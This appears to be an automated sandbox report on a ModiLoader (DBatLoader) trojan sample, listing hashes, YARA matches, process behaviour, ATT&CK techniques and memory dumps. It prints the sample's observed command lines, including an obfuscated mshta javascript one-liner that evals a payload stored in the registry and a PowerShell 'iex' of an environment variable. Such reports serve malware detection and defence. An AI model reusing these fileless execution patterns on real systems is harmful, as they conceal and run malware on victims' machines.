modiloader | aa256ce88da6d63d9033329e54a64a39f3e846a347c0137319b7c5eb699877f2

Analysis

max time kernel
88s
max time network
44s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
06/11/2022, 07:49

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General

Target

aa256ce88da6d63d9033329e54a64a39f3e846a347c0137319b7c5eb699877f2.exe
Size

389KB
MD5

400fb8ad495bdc7fc1c75d705f40f050
SHA1

03dc6874ad88c025aa4e7d267cd5804e3a5c97e7
SHA256

aa256ce88da6d63d9033329e54a64a39f3e846a347c0137319b7c5eb699877f2
SHA512

d64fd05f218b2d0cb765bfa8a0e63fefd0ce91c6485d468582ef22f54128a92c06f5e1e85adf3f6f5f22337012d8a26d270041a30b359ee7c5052edc790b1d5b
SSDEEP

6144:ZBHwn18nwD+OkWgHNsPODCtObDIffa+enBrhThmhZcJcaIqkFd15FULlH+y/jmAU:rkyOkdu2eQPIfS+enTYb9qSzFULJFm9

Score

10^/10

modiloader trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2036	1108	mshta.exe	27

ModiLoader Second Stage 3 IoCs

resource	yara_rule
behavioral1/memory/112-56-0x0000000000400000-0x0000000000465000-memory.dmp	modiloader_stage2
behavioral1/memory/112-57-0x0000000004F20000-0x0000000004FE0000-memory.dmp	modiloader_stage2
behavioral1/memory/112-61-0x0000000004F20000-0x0000000004FE0000-memory.dmp	modiloader_stage2

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
644	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	644	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2036 wrote to memory of 644	2036	mshta.exe	29
PID 2036 wrote to memory of 644	2036	mshta.exe	29
PID 2036 wrote to memory of 644	2036	mshta.exe	29
PID 2036 wrote to memory of 644	2036	mshta.exe	29
PID 644 wrote to memory of 1344	644	powershell.exe	31
PID 644 wrote to memory of 1344	644	powershell.exe	31
PID 644 wrote to memory of 1344	644	powershell.exe	31
PID 644 wrote to memory of 1344	644	powershell.exe	31

C:\Users\Admin\AppData\Local\Temp\aa256ce88da6d63d9033329e54a64a39f3e846a347c0137319b7c5eb699877f2.exe
"C:\Users\Admin\AppData\Local\Temp\aa256ce88da6d63d9033329e54a64a39f3e846a347c0137319b7c5eb699877f2.exe"
1⤵
PID:112

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:H9AEZtU="q0u";e8H=new%20ActiveXObject("WScript.Shell");wZUL2r7Co="NfW";P6UL3B=e8H.RegRead("HKLM\\software\\Wow6432Node\\oEaXfQPF\\KYc3Ni3QK");ubJ1rw4p="hrgfQIMeeU";eval(P6UL3B);dc3zsaI7t="a";
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2036
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:veavd
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:644
- - C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
    dw20.exe -x -s 816
    3⤵
    PID:1344

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/112-54-0x0000000074C11000-0x0000000074C13000-memory.dmp

Filesize
8KB

Download
memory/112-55-0x0000000002210000-0x0000000002250000-memory.dmp

Filesize
256KB

Download
memory/112-56-0x0000000000400000-0x0000000000465000-memory.dmp

Filesize
404KB

Download
memory/112-57-0x0000000004F20000-0x0000000004FE0000-memory.dmp

Filesize
768KB

Download
memory/112-61-0x0000000004F20000-0x0000000004FE0000-memory.dmp

Filesize
768KB

Download
memory/644-62-0x0000000072D90000-0x000000007333B000-memory.dmp

Filesize
5.7MB

Download
memory/644-63-0x0000000072D90000-0x000000007333B000-memory.dmp

Filesize
5.7MB

Download
memory/2036-58-0x000007FEFB5D1000-0x000007FEFB5D3000-memory.dmp

Filesize
8KB

Download